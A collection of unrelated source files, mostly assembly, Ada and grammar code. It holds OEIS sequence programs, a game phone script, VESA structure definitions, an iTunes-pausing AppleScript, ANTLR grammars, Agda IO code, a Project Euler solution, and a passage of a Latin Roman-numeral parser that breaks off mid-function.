programs/oeis/017/A017758.asm
|
neoneye/loda
| 22 |
93596
|
; A017758: Binomial coefficients C(n,94).
; 1,95,4560,147440,3612280,71523144,1192052400,17199613200,219295068300,2509710226100,26100986351440,249145778809200,2200787712814600,18114175790089400,139737927523546800,1015428940004440080,6981073962530525550,45582306461228725650,283623240203200959600,1686811902261142549200,9614827842888512530440,52652628663437092428600,277622951134486487350800,1412255881858039957393200,6943591419135363123849900,33051495155084328469525524,152545362254235362167040880,683629216028239956378220240,2978670155551616952790816760,12633669970098237420457602120,52219169209739381337891422096,210561166168303957007626702000,829084591787696830717530139125,3190719489607196893973525080875,12012120431462388306723859128000,44273243875961374044782223643200,159875602885416072939491363156000,566046053459175825812793745228000,1966265238331873921244441430792000,6705468633285621321166941289624000,22463319921506831425909253320240400,73964589985449322987749980444694000,239504386619550188722238031916152000,763072115508799438487130473779368000
add $0,94
bin $0,94
|
programs/oeis/214/A214861.asm
|
jmorken/loda
| 1 |
13183
|
<reponame>jmorken/loda<filename>programs/oeis/214/A214861.asm
; A214861: First differences of round(n*sqrt(5)) (A022848).
; 2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,3,2,2,2,3,2,2,2,3,2,2,2,3
mov $12,$0
mov $14,2
lpb $14
clr $0,12
mov $0,$12
sub $14,1
add $0,$14
sub $0,1
mov $6,$0
mov $9,$0
add $0,3
add $4,$6
add $0,$4
sub $4,2
add $7,7
lpb $0
mul $0,11
sub $4,4
sub $4,$0
sub $0,$4
div $0,$4
pow $0,2
sub $0,1
div $0,2
add $4,1
mov $7,-89
mov $8,$4
sub $8,13
lpe
mov $3,$8
div $3,$7
mov $1,$3
add $1,1
add $1,$9
mov $15,$14
lpb $15
mov $13,$1
sub $15,1
lpe
lpe
lpb $12
mov $12,0
sub $13,$1
lpe
mov $1,$13
add $1,1
|
engine/phone/scripts/bill.asm
|
Dev727/ancientplatinum
| 28 |
171180
|
<gh_stars>10-100
BillPhoneCalleeScript:
checktime DAY
iftrue .daygreet
checktime NITE
iftrue .nitegreet
farwritetext BillPhoneMornGreetingText
buttonsound
sjump .main
.daygreet
farwritetext BillPhoneDayGreetingText
buttonsound
sjump .main
.nitegreet
farwritetext BillPhoneNiteGreetingText
buttonsound
sjump .main
.main
farwritetext BillPhoneGenericText
buttonsound
readvar VAR_BOXSPACE
getnum STRING_BUFFER_3
ifequal 0, .full
ifless PARTY_LENGTH, .nearlyfull
farwritetext BillPhoneNotFullText
end
.nearlyfull
farwritetext BillPhoneNearlyFullText
end
.full
farwritetext BillPhoneFullText
end
BillPhoneCallerScript:
farwritetext BillPhoneNewlyFullText
waitbutton
end
|
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/printi8.asm
|
gb-archive/really-old-stuff
| 10 |
89675
|
#include once <printnum.asm>
#include once <div8.asm>
__PRINTI8: ; Prints an 8 bits number in Accumulator (A)
; Converts 8 to 32 bits
or a
jp p, __PRINTU8
push af
call __PRINT_MINUS
pop af
neg
__PRINTU8:
PROC
LOCAL __PRINTU_LOOP
ld b, 0 ; Counter
__PRINTU_LOOP:
or a
jp z, __PRINTU_START
push bc
ld h, 10
call __DIVU8_FAST ; Divides by 10. D'E'H'L' contains modulo (L' since < 10)
pop bc
ld a, l
or '0' ; Stores ASCII digit (must be print in reversed order)
push af
ld a, h
inc b
jp __PRINTU_LOOP ; Uses JP in loops
ENDP
|
iTunesHook.applescript
|
v-adhithyan/itunes-controller
| 7 |
1619
|
-- This function returns true, if iTunes is running.
on iTunesRunning()
tell application "System Events" to (name of processes) contains "iTunes"
end iTunesRunning
(* Check if iTunes is running.
If iTunes is running, then run the itunescontroller python utility.
If no face is detected, then probably the mac user is detection, so pause playback.
If a face is detected, then mac user is in front of the screen, so now if the playback is paused then start playing. *)
if iTunesRunning() then
set detection to do shell script "/usr/local/bin/itunescontroller" as string
tell application "iTunes"
set playerState to player state as string
if detection contains "no face" then
if playerState is "playing" then
display notification "No user in front of mac. iTunes will be paused."
pause
end if
else
if playerState is "paused" or playerState is "stopped" then
display notification "Welcome back. iTunes will start playing."
play
end if
end if
end tell
end if
|
vesaData.asm
|
satadriver/LiunuxOS
| 0 |
27097
|
<filename>vesaData.asm
VESAInformation struc ;//共256字节
ModeAttr dw ? ;//模式的属性
WinAAttr db ? ;//
WinBAttr db ? ;//窗口A,B的属性
WinGran dw ? ;位面大小(窗口粒度),以KB为单位
WinSize dw ? ;窗口大小,以KB为单位
WinASeg dw ? ;窗口A的起始段址
WinBSeg dw ? ;窗口B的起始段址
BankFunc dd ? ;换页调用入口指针
;16
BytesPerScanLine dw ? ;每条水平扫描线所占的字节数
XRes dw ? ;
YRes dw ? ;水平,垂直方向的分辨率
XCharSize db ? ;
YCharSize db ? ;字符的宽度和高度
NumberOfplanes db ? ;位平面的个数
;25
BitsPerPixel db ? ;每像素的位数
NumberOfBanks db ? ;CGA逻辑扫描线分组数
MemoryModel db ? ;显示内存模式
BankSize db ? ;CGA每组扫描线的大小
NumberOfImagePages db ? ;可同时载入的最大满屏图像数
reserve_1 db ? ;为页面功能保留
;31
;对直接写颜色模式的定义区域
RedMaskSize db ? ;红色所占的位数
RedFieldPosition db ? ;红色的最低有效位位置
GreenMaskSize db ? ;绿色所占位数
GreenFieldPosition db ? ;绿色的最低有效位位置
BlueMaskSize db ? ;蓝色所占位数
BlueFieldPosition db ? ;蓝色最低有效位位置
RsvMaskSize db ? ;保留色所占位数
RsvFieldPosition db ? ;保留色的最低有效位位置
DirectColorModeInfo db ? ;直接颜色模式属性
;40
;以下为VBE2.0版本以上定义
PhyBasePtr dd ? ;可使用的大的帧缓存时为指向其首址的32位物理地址
OffScreenMenOffset dd ? ;帧缓存首址的32位偏移量
OffScreenMemSize dw ? ;可用的,连续的显示缓冲区,以KB为单位
;50
;以下为VBE3.0版以上定义
LinBytesPerScanLine dw ? ;线形缓冲区中每条扫描线的长度,以字节为单位
BnkNumberOfImagePages db ? ;使用窗口功能时的显示页面数
LinNumberOfImagePages db ? ;使用大的线性缓冲区时的显示页面数
LinRedMaskSize db ? ;使用大的线性缓冲区时红色所占位数
LinRedFieldPosition db ? ;使用大的线性缓冲区时红色最低有效位位置
LinGreenMaskSize db ? ;使用大的线性缓冲区时绿色所占的位数
LinGreenFieldPosition db ? ;使用大的线性缓冲区时绿色最低有效位位置
LinBlueMaskSize db ? ;使用大的线性缓冲区时蓝色所占的位数
LinBlueFieldPosition db ? ;使用大的线性缓冲区时蓝色最低有效位位置
LinRsvMaskSize db ? ;使用大的线性缓冲区时保留色所占位数
LinRsvFieldPosition db ? ;使用大的线性缓冲区时保留色最低有效位位置
;62
reserve_2 db 194 dup (?) ;保留
VESAInformation ends
VESAInfoBlock STRUC
VESASignature dd ? ; 四字节的标志'VESA'
VESAVersion dw ? ; VESA版本号 ,一般是2
OEMStringOffset dw ? ; OEM串的指针 字符串值
OEMStringSeg dw ?
Capabilities db 4 dup(?) ; 视频环境的情况 一般是0x00000001
VideoModeOffset dw ?
VideoModeSeg dw ? ; 所支持的超级VGA模式的指针
TotalMemory dw ? ; 板载64K内存块数,0x10000乘以此数可得到视频缓冲区的大小
Reserved db 236 dup(?) ; VgaInfoBlock的剩余
oem_data db 256 dup(?)
VESAInfoBlock ENDS
VESAModeInfo struc
vesaMode dw ?
vesaXres dw ?
vesaYres dw ?
bitsPerPix db ?
reserved db ?
VESAModeInfo ends
|
examples/examplesPaperJFP/VariableListForDispatchOnly.agda
|
agda/ooAgda
| 23 |
1370
|
<gh_stars>10-100
module examplesPaperJFP.VariableListForDispatchOnly where
open import Data.Product hiding (map)
open import Data.List
open import NativeIO
open import StateSizedIO.GUI.WxBindingsFFI
open import Relation.Binary.PropositionalEquality
data VarList : Set₁ where
[] : VarList
addVar : (A : Set) → Var A → VarList → VarList
prod : VarList → Set
prod [] = Unit
prod (addVar A v []) = A
prod (addVar A v l) = A × prod l
takeVar : (l : VarList) → NativeIO (prod l)
takeVar [] = nativeReturn unit
takeVar (addVar A v []) =
nativeTakeVar {A} v native>>= λ a → nativeReturn a
takeVar (addVar A v (addVar B v′ l)) =
nativeTakeVar {A} v native>>= λ a →
takeVar (addVar B v′ l) native>>= λ rest → nativeReturn ( a , rest )
putVar : (l : VarList) → prod l → NativeIO Unit
putVar [] _ = nativeReturn unit
putVar (addVar A v []) a = nativePutVar {A} v a
putVar (addVar A v (addVar B v′ l)) (a , rest) =
nativePutVar {A} v a native>>= λ _ →
putVar (addVar B v′ l) rest native>>= nativeReturn
dispatch : (l : VarList) → (prod l → NativeIO (prod l)) → NativeIO Unit
dispatch l f = takeVar l native>>= λ a →
f a native>>= λ a₁ →
putVar l a₁
dispatchList : (l : VarList) → List (prod l → NativeIO (prod l)) → NativeIO Unit
dispatchList l [] = nativeReturn unit
dispatchList l (p ∷ rest) = dispatch l p native>>= λ _ →
dispatchList l rest
|
src/scheme_test.ads
|
Irvise/Ada_Scheme_Example
| 7 |
29970
|
<reponame>Irvise/Ada_Scheme_Example
with Ada.Text_IO; use Ada.Text_IO;
with Interfaces.C; use Interfaces.C;
package Scheme_Test is
procedure Adainit;
pragma Import (C, AdaInit);
procedure Adafinal;
pragma Import (C, AdaFinal);
function Hello_Ada(Num : Int) return Int
with
Export => True,
Convention => C,
External_Name => "hello_ada";
function Hello_Scheme (String : Char_Array) return Int
with
Import => True,
Convention => C,
External_Name => "hello_scheme";
end Scheme_Test;
|
src/state-machine.asm
|
hirohito-protagonist/hla-learn-adventure
| 0 |
95542
|
<reponame>hirohito-protagonist/hla-learn-adventure
; Assembly code emitted by HLA compiler
; Version 2.16 build 4413 (prototype)
; HLA compiler written by <NAME>
; NASM compatible output
bits 32
%define ExceptionPtr__hla_ [dword fs:0]
global QuitMain__hla_
global DfltExHndlr__hla_
global _HLAMain
global HWexcept__hla_
global start
section .text code align=16
extern STDOUT_NEWLN
extern DefaultExceptionHandler__hla_
extern abstract__hla_
extern HardwareException__hla_
extern BuildExcepts__hla_
extern STDOUT_PUTS
extern Raise__hla_
extern shortDfltExcept__hla_
section .text
;/* HWexcept__hla_ gets called when Windows raises the exception. */
; procedure HWexcept__hla_
HWexcept__hla_:
jmp HardwareException__hla_
;HWexcept__hla_ endp
; procedure DfltExHndlr__hla_
DfltExHndlr__hla_:
jmp DefaultExceptionHandler__hla_
;DfltExHndlr__hla_ endp
; procedure _HLAMain
_HLAMain:
nop
; procedure start
start:
;start endp
call BuildExcepts__hla_
; push dword 0
db 06ah ;
db 00h ;
; push ebp
db 055h ;
; push ebp
db 055h ;
; lea ebp, [esp+4]
db 08dh ;
db 06ch ;
db 024h ;
db 04h ;
; jmp [State__hla_1886]
db 0ffh ;
db 025h ;
dd State__hla_1886
State0__hla_1885:
; add eax, ebx
db 01h ;
db 0d8h ; mod-reg-r/m
; mov dword [State__hla_1886], State1__hla_1890
db 0c7h ;
db 05h ;
dd State__hla_1886
dd (State1__hla_1890+0)
; push strict dword str__hla_1891
db 068h ;
dd str__hla_1891
call STDOUT_PUTS
call STDOUT_NEWLN
; push dword 0
db 06ah ;
db 00h ;
; call [__imp__ExitProcess@4]
db 0ffh ;
db 015h ;
dd __imp__ExitProcess@4
State1__hla_1890:
; sub eax, ebx
db 029h ;
db 0d8h ; mod-reg-r/m
; mov dword [State__hla_1886], State2__hla_1892
db 0c7h ;
db 05h ;
dd State__hla_1886
dd (State2__hla_1892+0)
; push strict dword str__hla_1893
db 068h ;
dd str__hla_1893
call STDOUT_PUTS
call STDOUT_NEWLN
; push dword 0
db 06ah ;
db 00h ;
; call [__imp__ExitProcess@4]
db 0ffh ;
db 015h ;
dd __imp__ExitProcess@4
State2__hla_1892:
; imul eax, ebx
dw 0af0fh
db 0c3h ;
; mov dword [State__hla_1886], State3__hla_1894
db 0c7h ;
db 05h ;
dd State__hla_1886
dd (State3__hla_1894+0)
; push strict dword str__hla_1895
db 068h ;
dd str__hla_1895
call STDOUT_PUTS
call STDOUT_NEWLN
; push dword 0
db 06ah ;
db 00h ;
; call [__imp__ExitProcess@4]
db 0ffh ;
db 015h ;
dd __imp__ExitProcess@4
State3__hla_1894:
; push edx
db 052h ;
; xor edx, edx
db 031h ;
db 0d2h ; mod-reg-r/m
; div ebx
db 0f7h ;
db 0f3h ; mod-reg-r/m
; pop edx
db 05ah ;
; mov dword [State__hla_1886], State0__hla_1885
db 0c7h ;
db 05h ;
dd State__hla_1886
dd (State0__hla_1885+0)
; push strict dword str__hla_1895
db 068h ;
dd str__hla_1895
call STDOUT_PUTS
QuitMain__hla_:
; push dword 0
db 06ah ;
db 00h ;
; call [__imp__ExitProcess@4]
db 0ffh ;
db 015h ;
dd __imp__ExitProcess@4
;_HLAMain endp
section .text
align (4)
len__hla_1891 dd 07h
dd 07h
str__hla_1891:
db "state 0"
db 0
align (4)
len__hla_1893 dd 07h
dd 07h
str__hla_1893:
db "state 1"
db 0
align (4)
len__hla_1895 dd 07h
dd 07h
str__hla_1895:
db "state 3"
db 0
section .data data align=16
extern MainPgmCoroutine__hla_
extern __imp__MessageBoxA@16
extern __imp__ExitProcess@4
align (4)
State__hla_1886 dd State0__hla_1885
|
problems/011/a011.adb
|
melwyncarlo/ProjectEuler
| 0 |
30927
|
with Ada.Integer_Text_IO;
-- Copyright 2021 <NAME>
procedure A011 is
use Ada.Integer_Text_IO;
type Array_1D_Bool is array (Integer range 1 .. 3) of Boolean;
type Array_2D_Int is array (Integer range 1 .. 20,
Integer range 1 .. 20) of Integer;
Is_RC_Safe : Array_1D_Bool;
Temp_Product : Integer;
Max_Product : Integer := 1788695;
Grid : constant Array_2D_Int := (
(8, 02, 22, 97, 38, 15, 00, 40, 00, 75,
04, 05, 07, 78, 52, 12, 50, 77, 91, 8),
(49, 49, 99, 40, 17, 81, 18, 57, 60, 87,
17, 40, 98, 43, 69, 48, 04, 56, 62, 00),
(81, 49, 31, 73, 55, 79, 14, 29, 93, 71,
40, 67, 53, 88, 30, 03, 49, 13, 36, 65),
(52, 70, 95, 23, 04, 60, 11, 42, 69, 24,
68, 56, 01, 32, 56, 71, 37, 02, 36, 91),
(22, 31, 16, 71, 51, 67, 63, 89, 41, 92,
36, 54, 22, 40, 40, 28, 66, 33, 13, 80),
(24, 47, 32, 60, 99, 03, 45, 02, 44, 75,
33, 53, 78, 36, 84, 20, 35, 17, 12, 50),
(32, 98, 81, 28, 64, 23, 67, 10, 26, 38,
40, 67, 59, 54, 70, 66, 18, 38, 64, 70),
(67, 26, 20, 68, 02, 62, 12, 20, 95, 63,
94, 39, 63, 8, 40, 91, 66, 49, 94, 21),
(24, 55, 58, 05, 66, 73, 99, 26, 97, 17,
78, 78, 96, 83, 14, 88, 34, 89, 63, 72),
(21, 36, 23, 9, 75, 00, 76, 44, 20, 45,
35, 14, 00, 61, 33, 97, 34, 31, 33, 95),
(78, 17, 53, 28, 22, 75, 31, 67, 15, 94,
03, 80, 04, 62, 16, 14, 9, 53, 56, 92),
(16, 39, 05, 42, 96, 35, 31, 47, 55, 58,
88, 24, 00, 17, 54, 24, 36, 29, 85, 57),
(86, 56, 00, 48, 35, 71, 89, 07, 05, 44,
44, 37, 44, 60, 21, 58, 51, 54, 17, 58),
(19, 80, 81, 68, 05, 94, 47, 69, 28, 73,
92, 13, 86, 52, 17, 77, 04, 89, 55, 40),
(04, 52, 8, 83, 97, 35, 99, 16, 07, 97,
57, 32, 16, 26, 26, 79, 33, 27, 98, 66),
(88, 36, 68, 87, 57, 62, 20, 72, 03, 46,
33, 67, 46, 55, 12, 32, 63, 93, 53, 69),
(04, 42, 16, 73, 38, 25, 39, 11, 24, 94,
72, 18, 8, 46, 29, 32, 40, 62, 76, 36),
(20, 69, 36, 41, 72, 30, 23, 88, 34, 62,
99, 69, 82, 67, 59, 85, 74, 04, 36, 16),
(20, 73, 35, 29, 78, 31, 90, 01, 74, 31,
49, 71, 48, 86, 81, 16, 23, 57, 05, 54),
(01, 70, 54, 71, 83, 51, 54, 69, 16, 92,
33, 48, 61, 43, 52, 01, 89, 19, 67, 48)
);
begin
for I in 1 .. 20 loop
for J in 1 .. 20 loop
Is_RC_Safe := (False, False, False);
if (I + 3) <= 20 then
if ((Grid (I, J) /= 0) and (Grid (I + 1, J) /= 0)
and (Grid (I + 2, J) /= 0) and (Grid (I + 3, J) /= 0)
and ((Grid (I, J) > 50) or (Grid (I + 1, J) > 50)
or (Grid (I + 2, J) > 50) or (Grid (I + 3, J) > 50)))
then
Temp_Product := Grid (I, J) * Grid (I + 1, J)
* Grid (I + 2, J) * Grid (I + 3, J);
if (Temp_Product > Max_Product) then
Max_Product := Temp_Product;
end if;
Is_RC_Safe (1) := True;
end if;
end if;
if (J + 3) <= 20 then
if ((Grid (I, J) /= 0) and (Grid (I, J + 1) /= 0)
and (Grid (I, J + 2) /= 0) and (Grid (I, J + 3) /= 0)
and ((Grid (I, J) > 50) or (Grid (I, J + 1) > 50)
or (Grid (I, J + 2) > 50) or (Grid (I, J + 3) > 50)))
then
Temp_Product := Grid (I, J) * Grid (I, J + 1)
* Grid (I, J + 2) * Grid (I, J + 3);
if (Temp_Product > Max_Product) then
Max_Product := Temp_Product;
end if;
Is_RC_Safe (2) := True;
end if;
end if;
if (I > 3 and Is_RC_Safe (2)) then
Is_RC_Safe (3) := True;
end if;
if (Is_RC_Safe (1) and Is_RC_Safe (2)) then
if ((Grid (I + 1, J + 1) /= 0) and (Grid (I + 2, J + 2) /= 0)
and (Grid (I + 3, J + 3) /= 0)
and ((Grid (I + 1, J + 1) > 50) or (Grid (I + 2, J + 2) > 50)
or (Grid (I + 3, J + 3) > 50)))
then
Temp_Product := Grid (I, J) * Grid (I + 1, J + 1)
* Grid (I + 2, J + 2) * Grid (I + 3, J + 3);
if (Temp_Product > Max_Product) then
Max_Product := Temp_Product;
end if;
end if;
end if;
if Is_RC_Safe (3) then
if ((Grid (I - 1, J + 1) /= 0) and (Grid (I - 2, J + 2) /= 0)
and (Grid (I - 3, J + 3) /= 0)
and ((Grid (I - 1, J + 1) > 50) or (Grid (I - 2, J + 2) > 50)
or (Grid (I - 3, J + 3) > 50)))
then
Temp_Product := Grid (I, J) * Grid (I - 1, J + 1)
* Grid (I - 2, J + 2) * Grid (I - 3, J + 3);
if (Temp_Product > Max_Product) then
Max_Product := Temp_Product;
end if;
end if;
end if;
end loop;
end loop;
Put (Max_Product, Width => 0);
end A011;
|
programs/oeis/034/A034198.asm
|
neoneye/loda
| 22 |
85742
|
; A034198: Number of binary codes (not necessarily linear) of length n with 3 words.
; 0,1,3,6,10,16,23,32,43,56,71,89,109,132,158,187,219,255,294,337,384,435,490,550,614,683,757,836,920,1010,1105,1206,1313,1426,1545,1671,1803,1942,2088,2241,2401,2569,2744,2927,3118,3317,3524,3740
lpb $0
mov $2,$0
trn $0,3
seq $2,267461 ; Total number of OFF (white) cells after n iterations of the "Rule 133" elementary cellular automaton starting with a single ON (black) cell.
add $1,$2
lpe
div $1,2
mov $0,$1
|
backend/src/tools/Agtype.g4
|
shinhanbyeol/incubator-age-viewer
| 25 |
1424
|
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
grammar Agtype;
agType
: agValue EOF
;
agValue
: value typeAnnotation?
;
value
: STRING #StringValue
| INTEGER #IntegerValue
| floatLiteral #FloatValue
| 'true' #TrueBoolean
| 'false' #FalseBoolean
| 'null' #NullValue
| obj #ObjectValue
| array #ArrayValue
;
obj
: '{' pair (',' pair)* '}'
| '{' '}'
;
pair
: STRING ':' agValue
;
array
: '[' agValue (',' agValue)* ']'
| '[' ']'
;
typeAnnotation
: '::' IDENT
;
IDENT
: [A-Z_a-z][$0-9A-Z_a-z]*
;
STRING
: '"' (ESC | SAFECODEPOINT)* '"'
;
fragment ESC
: '\\' (["\\/bfnrt] | UNICODE)
;
fragment UNICODE
: 'u' HEX HEX HEX HEX
;
fragment HEX
: [0-9a-fA-F]
;
fragment SAFECODEPOINT
: ~ ["\\\u0000-\u001F]
;
INTEGER
: '-'? INT
;
fragment INT
: '0' | [1-9] [0-9]*
;
floatLiteral
: RegularFloat
| ExponentFloat
| '-'? 'Infinity'
| 'NaN'
;
RegularFloat
: '-'? INT DECIMAL
;
ExponentFloat
: '-'? INT DECIMAL? SCIENTIFIC
;
fragment DECIMAL
: '.' [0-9]+
;
fragment SCIENTIFIC
: [Ee][+-]? [0-9]+
;
WS
: [ \t\n\r] + -> skip
;
|
ada-streams.ads
|
mgrojo/adalib
| 15 |
1658
|
-- Standard Ada library specification
-- Copyright (c) 2003-2018 <NAME> <<EMAIL>>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
package Ada.Streams is
pragma Pure (Streams);
type Root_Stream_Type is abstract tagged limited private;
pragma Preelaborable_Initialization (Root_Stream_Type);
type Stream_Element is mod implementation_defined;
type Stream_Element_Offset is range
implementation_defined .. implementation_defined;
subtype Stream_Element_Count is
Stream_Element_Offset range 0..Stream_Element_Offset'Last;
type Stream_Element_Array is
array (Stream_Element_Offset range <>) of aliased Stream_Element;
procedure Read (Stream : in out Root_Stream_Type;
Item : out Stream_Element_Array;
Last : out Stream_Element_Offset) is abstract;
procedure Write (Stream : in out Root_Stream_Type;
Item : in Stream_Element_Array) is abstract;
private
pragma Import (Ada, Root_Stream_Type);
end Ada.Streams;
|
MdePkg/Library/BaseLib/AArch64/EnableInterrupts.asm
|
mapaig/mu_basecore
| 100 |
169958
|
<gh_stars>10-100
;------------------------------------------------------------------------------
;
; EnableInterrupts() for AArch64
;
; Copyright (c) 2006 - 2009, Intel Corporation. All rights reserved.<BR>
; Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR>
; Portions copyright (c) 2011 - 2013, ARM Ltd. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
;------------------------------------------------------------------------------
EXPORT EnableInterrupts
; MS_CHANGE: change area name to |.text| and add an ALIGN directive
AREA |.text|, ALIGN=2, CODE, READONLY
DAIF_WR_IRQ_BIT EQU (1 << 1)
;/**
; Enables CPU interrupts.
;
;**/
;VOID
;EFIAPI
;EnableInterrupts (
; VOID
; );
;
EnableInterrupts
msr daifclr, #DAIF_WR_IRQ_BIT
ret
END
|
Miam.g4
|
DevHonk/Miam-x86
| 1 |
5057
|
grammar Miam;
code: instr*EOF;
instr: (
subroutine |
mov |
push |
pop |
namedBlock |
include |
add |
substract |
jmp |
jz |
jnz |
ret |
call |
db |
syscall |
jumpIfEqual |
jumpIfNot |
jumpIfLess |
jumpIfMore |
imp |
setting |
assembly |
div
);
SUB: 'SUB' | 'sub';
MOV: 'mov' | 'MOV';
PUSH: 'push' | 'PUSH';
POP: 'pop' | 'POP';
ADD: 'add' | 'ADD';
PLUS: '+';
JMP: 'jmp' | 'JMP';
JZ: 'jz' | 'JZ';
JNZ: 'jnz' | 'JNZ';
CALL: 'call' | 'CALL';
COMMENT: '#';
STRING: '"' (~'"')* '"';
HEX : '0x' [0-9A-F]+;
DEC : [0-9]+;
INCLUDE : '~using' | '~USING';
MINUS : '-';
LEFTARR : '<-';
RGHTARR : '->';
SECTSTART : '[';
DIV : '/';
SECTEND : ']';
ROUTINE: 'routine' | 'ROUTINE';
ISTRUE: '?';
EQU: '==';
NEQU: '!=';
MORETHAN: '>';
LESSTHAN: '<';
SETTING: 'setting' | 'SETTING';
PUBLIC: 'public' | 'PUBLIC';
ASM: 'asm' | 'ASM';
REGS: 'regs' | 'REGS';
EXCEPT: 'except' | 'EXCEPT';
CALLING: 'calling' | 'CALLING';
STACK: '|' [ ]+ '|';
RET : 'ret' | 'RET';
COMM: COMMENT STRING -> skip;
WS: [ \n\r] -> skip;
SYSCALL: 'sys' | 'SYS';
USING: 'using' | 'USING';
GLOBAL: 'global' | 'GLOBAL';
EXTERN: 'extern' | 'EXTERN';
DB: 'bytes' | 'BYTES';
SEMICOLON: ';';
DOT: '.';
section: SECTSTART DOT IDENTIFIER SECTEND;
memoryPointer: SECTSTART (register | number | id) SECTEND; //May God forgive what I just did
syscall: SYSCALL arguments;
id: IDENTIFIER;
setting: SETTING (CALLING) STRING;
mov: MOV arguments | (argument LEFTARR (argument));
push: PUSH arguments | (STACK LEFTARR (argumentsList)) | (STACK LEFTARR regs);
pop: POP arguments | (STACK RGHTARR argument);
add: ADD arguments | (argument PLUS argument);
jumpIfEqual: argument EQU argument ISTRUE argument;
jumpIfNot: argument NEQU argument ISTRUE argument;
jumpIfLess: argument LESSTHAN argument ISTRUE argument;
jumpIfMore: argument MORETHAN argument ISTRUE argument;
substract: SUB arguments | (argument MINUS argument);
imp: USING (EXTERN)? STRING;
jmp: JMP literalsArguments;
jz: JZ literalsArguments;
jnz: JNZ literalsArguments;
div: (register | literal) DIV (register | literal) RGHTARR (register) SEMICOLON (register);
db: DB constsForced;
ret: RET literalsArguments;
IDENTIFIER : [a-zA-Z_][a-zA-Z_0-6]+ | [a-zA-Z_];
register: ('rax' | 'eax' | 'ax' | ('ah' | 'al')) |
('rbx' | 'ebx' | 'bx' | ('bh' | 'bl')) |
('rcx' | 'ecx' | 'cx' | ('ch' | 'cl')) |
('rdx' | 'edx' | 'dx' | ('dh' | 'dl')) |
('rsp' | 'esp' | 'sp' | ('spl')) |
('rbp' | 'ebp' | 'bp' | ('bpl')) |
('rsi' | 'esi' | 'si' | ('sil')) |
('rdi' | 'edi' | 'di' | ('dil')) |
;
argument: register | literal | memoryPointer;
constant: STRING | (HEX | DEC);
literal: IDENTIFIER | HEX | DEC;
number: HEX | DEC;
registers: (register (',' register)?)?;
registersArguments: ('(' registers ')')?;
literals: (literal (',' literal)*)?;
literalsArguments: ('(' literals ')')?;
argumentsList: (argument (',' argument)*) | (argument);
argumentsForced: ('(' argumentsList')');
arguments: ('(' argumentsList ')')?;
constsList: (constant (',' constant)*)?;
constsForced: ('(' constsList ')');
consts: ('(' constsList ')')?;
subroutine: PUBLIC? ROUTINE IDENTIFIER registersArguments block;
block : '{' (instr)* '}';
namedBlock: (section IDENTIFIER block) | (IDENTIFIER block);
include: INCLUDE STRING;
call: (CALL IDENTIFIER argumentsForced) | (IDENTIFIER argumentsForced);
assembly: ASM '(' STRING ')';
regs: REGS (EXCEPT argumentsForced)?;
|
src/words_engine/words_engine-roman_numerals_package.adb
|
hugovk/whitakers-words
| 0 |
661
|
-- WORDS, a Latin dictionary, by <NAME> (USAF, Retired)
--
-- Copyright <NAME> (1936–2010)
--
-- This is a free program, which means it is proper to copy it and pass
-- it on to your friends. Consider it a developmental item for which
-- there is no charge. However, just for form, it is Copyrighted
-- (c). Permission is hereby freely given for any and all use of program
-- and data. You can sell it as your own, but at least tell me.
--
-- This version is distributed without obligation, but the developer
-- would appreciate comments and suggestions.
--
-- All parts of the WORDS system, source code and data files, are made freely
-- available to anyone who wishes to use them, for whatever purpose.
with Latin_Utils.Strings_Package; use Latin_Utils.Strings_Package;
with Latin_Utils.Inflections_Package; use Latin_Utils.Inflections_Package;
package body Words_Engine.Roman_Numerals_Package is
function A_Roman_Digit (Char : Character) return Boolean is
begin
case Char is
when 'M' | 'm' | 'D' | 'd' | 'C' | 'c' | 'L' |
'l' | 'X' | 'x' | 'V' | 'v' | 'I' | 'i' =>
return True;
--when 'U' | 'u' => return TRUE; -- possible but unlikely
when others =>
return False;
end case;
end A_Roman_Digit;
function Value (Char : Character) return Natural is
begin
case Char is
when 'M' | 'm' =>
return 1000;
when 'D' | 'd' =>
return 500;
when 'C' | 'c' =>
return 100;
when 'L' | 'l' =>
return 50;
when 'X' | 'x' =>
return 10;
--when 'U' | 'u' => return 5; -- possible but unlikely
when 'V' | 'v' =>
return 5;
when 'I' | 'i' =>
return 1;
when others =>
return 0;
end case;
end Value;
function Only_Roman_Digits (S : String) return Boolean is
begin
for I in S'Range loop
if not A_Roman_Digit (S (I)) then
return False;
end if;
end loop;
return True;
end Only_Roman_Digits;
function Roman_Number (St : String) return Natural is
-- Determines and returns the value of a Roman numeral, or 0 if invalid
Total : Natural := 0;
Invalid : exception;
J : Integer := 0;
S : constant String := Upper_Case (St);
begin
if Only_Roman_Digits (S) then
--
--NUMERALS IN A STRING ARE ADDED: CC = 200 ; CCX = 210.
--ONE NUMERAL TO THE LEFT of A LARGER NUMERAL IS SUBTRACTED FROM
--THAT NUMBER: IX = 9
--
--SUBTRACT ONLY A SINGLE LETTER FROM A SINGLE NUMERAL.
--VIII FOR 8, NOT IIX; 19 IS XIX, NOT IXX.
--
--SUBTRACT ONLY POWERS of TEN, SUCH AS I, X, or C.
--NOT VL FOR 45, BUT XLV.
--
--DON'T SUBTRACT A LETTER FROM ANOTHER LETTER MORE THAN TEN TIMES
--GREATER.
--ONLY SUBTRACT I FROM V or X, and X FROM L or C.
--NOT IL FOR 49, BUT XLIX. MIM is ILLEGAL.
--
